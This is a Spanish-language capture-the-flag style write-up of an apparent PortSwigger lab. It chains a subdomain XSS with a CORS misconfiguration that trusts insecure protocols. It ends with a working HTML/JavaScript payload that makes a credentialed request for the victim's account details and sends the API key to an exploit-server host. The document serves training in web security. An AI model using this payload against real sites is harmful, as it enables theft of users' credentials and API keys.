
Descripción
This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.
You can log in to your own account using the following credentials: wiener:peter
CORS vulnerability with trusted insecure protocols writeup
Debido a la complejidad del laboratorio, lo dividiremos en varias partes:
Detectar la vulnerabilidad CORS y ver los orígenes permitidos:
Entramos en el laboratorio, en ‘My account’ e iniciamos sesión con el usuario ‘wiener’ y la contraseña ‘peter’. En el ‘Logger’ veremos la siguiente petición.

Que el HTTP tenga en su encabezado ‘Access-Control-Allow-Credentials: true’ nos hace pensar que es vulnerable a CORS. Llevaremos esta petición al ‘Repeater’ con Ctrl + R o Click derecho -> Send to Repeater. Allí probaremos a añadir al encabezado ‘Origin: página’:

La única que funcionará es cuando añadimos la propia página del laboratorio junto con un subdominio. Al devolvernos ‘Access-Control-Allow-Origin: https://www.test.0ae100f20319d005817b52cb004800aa.web-security-academy’.
Encontrar otra vulnerabilidad para realizar CORS
Entonces, debemos encontrar en la página web alguna funcionalidad que nos permita enviar una petición a la API para obtener la API key. Esta funcionalidad se encontrará en cualquier producto, en el botón ‘Check stock’:

El código que ejecuta este botón es el siguiente:
<script>
const stockCheckForm = document.getElementById("stockCheckForm");
stockCheckForm.addEventListener("submit", function(e) {
const data = new FormData(stockCheckForm);
window.open('http://stock.0ae100f20319d005817b52cb004800aa.web-security-academy.net/?productId=1&storeId=' + data.get('storeId'), 'stock', 'height=10,width=10,left=10,top=10,menubar=no,toolbar=no,location=no,status=no');
e.preventDefault();
});
</script>
Este script toma directamente el valor de la URL para dar el valor a ‘productId’. Podemos modificar la URL para que inserte dentro un script que envíe al servidor los datos del administrador:
<html>
<script>
document.location="http://stock.0a31008503caa0a780e9766d00ce002c.web-security-academy.net/?productId=<script>var xhr = new XMLHttpRequest();var url = 'https://0a31008503caa0a780e9766d00ce002c.web-security-academy.net';xhr.onreadystatechange = function(){if (xhr.readyState == XMLHttpRequest.DONE) {fetch('https://exploit-0ac7000a035ba004809675d6019800fe.exploit-server.net/log?key=' %2b xhr.responseText)};};xhr.open('GET', url %2b '/accountDetails', true); xhr.withCredentials = true;xhr.send(null);%3c/script>&storeId=1"
</script>
</html>
Al pulsar ‘Deliver exploit to victim’ y acceder al log podremos encontrar la siguiente petición:

La decodificamos como URL y obtendremos la API Key:

Completando así el laboratorio:
